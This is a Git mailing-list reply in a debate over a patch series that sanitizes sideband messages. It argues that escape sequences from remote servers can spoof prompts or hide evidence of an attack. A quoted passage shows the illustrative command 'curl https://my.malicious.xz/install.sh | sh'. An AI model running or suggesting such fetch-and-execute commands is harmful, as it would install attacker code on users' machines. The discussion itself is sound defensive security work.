Re: [PATCH 0/3] Sanitize sideband channel messages

[Johannes Schindelin <Johannes.Schindelin@gmx.de>]

Hi Junio,

On Wed, 15 Jan 2025, Junio C Hamano wrote:

> "brian m. carlson" <sandals@crustytoothpaste.net> writes:
> 
> > Where pre-receive hooks are available, people frequently run various
> > commands to test and analyze code in them, including build or static
> > analysis tools, such as Rust's Cargo.  Cargo is capable of printing a
> > wide variety of escape sequences in its output, including `\e[K`, which
> > overwrites text to the right (e.g., for progress bars and status output
> > much like Git produces), and sequences for hyperlinks.  Stripping these
> > sequences would break the output in ways that would be confusing to the
> > user (since they work fine in a regular terminal) and hard to
> > reproduce or fix.
> 
> You have ruled out the attack vector that lets bytestream sent to
> the terminal emulator to somehow cause arbitrary input bytes added
> (which may require the final <ENTER> from the user but that is not
> much of consolation), and I tend to agree with you on that point.

So you haven't come across `OSC P 1 0 ; ? ST` (see e.g.
https://www.xfree86.org/current/ctlseqs.html#:~:text=OSC%20P%20s%20;%20P%20t%20ST
for this control sequence, as well as others that elicit responses from
terminal emulators, from current cursor position to terminal
capabilities)? I use this Escape sequence myself in my `tmux` sessions to
toggle the colors between bright-on-dark and dark-on-bright.

It is true that many terminal emulators started disabling support for such
Escape sequences. But that's not because the terminal emulators' features
were buggy. That's because some console programs are buggy, allowing
payload originating from outside the user's trust boundary to be passed
through to the terminal without proper sanitizing. That's what the entire
CWE-150 weakness class (https://cwe.mitre.org/data/definitions/150.html)
is all about.

And yes, it's the console programs that are buggy, not the terminal
emulators. It has always been the contract between terminal emulators and
software using those terminal emulators' features that the bytes that are
sent to the terminal emulator can do amazing stuff via control sequences
(that's the terminal emulators' promise) and the responsibility of the
software sending those bytes, in turn, is to make sure that it only sends
control characters intentionally and does not nilly-willy pass through
untrusted data from random outside sources.

That's the reason why even `tar` sanitizes its output, see
https://www.gnu.org/software/tar/manual/html_node/quoting-styles.html. Or
for that matter, cURL, see https://github.com/curl/curl/pull/1512 where
Escape sequences were part of the rationale.

While `mutt` might not sanitize the Escape sequences in the emails it
displays, it does something even better: It implements its own terminal
emulator that interprets only a very limited set of ANSI Escape sequences.
But since it uses ANSI Escape sequences to render the output, so in a very
convoluted way it _does_ sanitize Escape sequences.

Basically, all console programs interacting with terminal emulators are
careful about sanitizing untrusted payload before sending it to be
rendered.

In short, in this context it is clearly Git's responsibility to ensure
that control sequences do not originate from some stranger's server on the
internet and then are naively passed through to the terminal emulator
without the user's blessing. Git uses coloring sequences, after all, so it
benefits from the contract with the terminal emulator, and it must uphold
its end of the bargain, too.

Git also does an okay job of avoiding those color sequences when its
output does not even go to a terminal emulator, or when the `TERM`
environment variable indicates that the terminal emulator lacks
the prerequisite capabilities. (To do a better job, it would have to
query the terminal's capabilities, a job better left to libraries like
ncurses).

That check, whether the output is even sent to a terminal emulator or not,
is notably something that cannot ever be done by those `pre-receive` hooks
that were held up as examples to block this here patch series: They have
no way of knowing whether or not their output goes to a terminal, but they
send the control sequences anyway. Because YOLO, I guess. In that
respect, I think that even you two would agree that those `pre-receive`
hooks are broken by design.

> With that misfeature out of the picture, I am not sure why terminal
> escape sequences that may clear or write-over things on the screen
> are of particular interest.

It is important for attackers to try to hide any traces that might alert
their victims that they are being attacked. One fine way to do that is to
hide the output that would otherwise scream "You are under attack!" to the
user. Writing over such tell-tales, or erasing them altogether, is the
perfect tool for the job. As such, they are clearly of particular interest
in this context.

Sure, it is conceivable that there might be use cases where it _is_
desirable that certain text is first written and then overwritten by the
remote side. But the fact remains that it forcibly keeps open the door to
deceive the user into believing that they see something that they do not
actually see.

For example, Git goes out of its way to write out sideband messages only
with the `remote:` prefix. This is a very clear indicator that these
messages do not come from the local Git process, and users are very likely
to be extremely suspicious if they are prompted for some interactive input
in such a message. Allow the remote server to overwrite that prefix, and
you take away that indicator.

Besides, there are correct ways to send colored, or otherwise styled, text
to the user from the remote side: The remote side does not have the
ability to ask whether the output goes to a terminal, but the local Git
process does! The logic of color-coding the `error` and `warning` and
friends that was added in bf1a11f0a10 (sideband: highlight keywords in
remote sideband output, 2018-08-07) is a perfect example how this should
be done: The client side, the one with access to the terminal emulator,
decides what is permissible styling, and the remote side crafts its output
accordingly. No verbatim pass-through of control sequences, no
vulnerability, instant win. Well, not so instant, you first have to get
the patch on Git's side accepted, but that's par for the course.

Now, the capacities of modern terminal emulators are a far cry from what
they had been in the VT-100 times. As in: They have become drastically
more powerful. As illustrated at the beginning of my reply, there exist
powerful features to query information about the current terminal. Not all
of them are exploitable for malicious purposes on first sight. The crucial
part is: on first sight.

Also, it is relatively easy if you fail to protect your terminal emulator
to have your entire session messed up to a point where not even a `reset`
restores it. And corrupting the terminal session is still much better than
getting pranked by having all of Git's output be overwritten with a
picture of a snake (download the raw version of
https://github.com/csdvrx/sixel-testsuite/blob/master/snake.six -- after!
verifying that it is just a regular text file containing only a few
harmless escape sequences~ -- and then `cat` it to your terminal). That
could have been goatse, too, though. Or for that matter (as
https://github.com/mpv-player/mpv demonstrates, which allows you to render
entire Youtube videos in your current terminal window) you could be
Rick-rolled. And all of those are still pranks more than anything. Much
worse can be done with those terminal emulator capabilities.

> If the malicious remote end says something like
> 
>     To proceed, open another window and type this command:
> 
> 	$ curl https://my.malicious.xz/install.sh | sh
> 
> to its output, even if the message is shown with the "remote: "
> prefix on the receiving local client, wouldn't that cause certain
> percentage of end-user population to copy-and-paste that command
> anyway?

Sure, and there is no defending against users who voluntarily follow such
instructions without applying some healthy skepticism first. Not in Git,
anyways.

The kind of control illustrated above, however, can of course also be used
to pretend that _Git_ asks interactively for some input, using the exact
look&feel of Git's usual interactive prompts. And presented with something
like that, I would wager a bet that even you could fall for an elaborate
ruse, if I were a betting person. If I were still a student, with too much
time on my hands, I'd even try to prank you that way, purely for fun.

For the record, I was almost successfully gas-lit into believing that this
here issue is not even a vulnerability, as was claimed by some (but not
all) involved in the discussion on the Git security list. Fortunately I am
in a wonderful position that I have access to outstanding security
researchers, and I asked two of them, independently, to tell me whether or
not this is a vulnerability that needs to be fixed. Independently, both
agreed that my assessment "High" was too high, and it should have been
"Moderate" instead. At the same time, they also both agreed that it is a
vulnerability that should be fixed in Git.

I did hear that Google employs some excellent security professionals, too.
While I cannot ask them directly, I would be quite curious what they would
have to say about this issue. Maybe you could contact one or two?

Ciao,
Johannes

> 
> > I agree that this would have been a nice feature to add at the beginning
> > of the development of the sideband feature, but I fear that it is too
> > late to make an incompatible change now.
> 
> So I am not so sure even it would have been a "nice feature" to disallow
> sideband messages to carry terminal escape sequences to begin with.
> 
> > I realize that you've provided an escape hatch, but as we've seen with
> > other defense-in-depth measures, that doesn't avoid the inconvenience
> > and hassle of dealing with those changes and the costs of deploying
> > fixes everywhere.
> 
> One more thing that I am not so happy about these "escape hatches"
> is that they tend to be all or nothing (not limited to this round,
> but common to other defense-in-depth attempts).  Having to say "I
> trust them completely" is something that would make people uneasy.
> 
> > We need to consider the costs and impact of these
> > patches on our users, including the burden of dealing with incompatible
> > changes, and given the fact that this problem can occur in a wide
> > variety of other contexts which you are not solving here and which would
> > be better solved more generally in terminal emulators themselves, I
> > don't think the benefits of this approach outweigh the downsides.
> >
> > I do agree that there are terminal emulators which have some surprising
> > and probably insecure behaviour, as we've discussed in the past, but
> > because I believe those issues are more general and could be a problem
> > for any terminal-using program, I continue to believe that those issues
> > are best addressed in the terminal emulator itself.
> 
>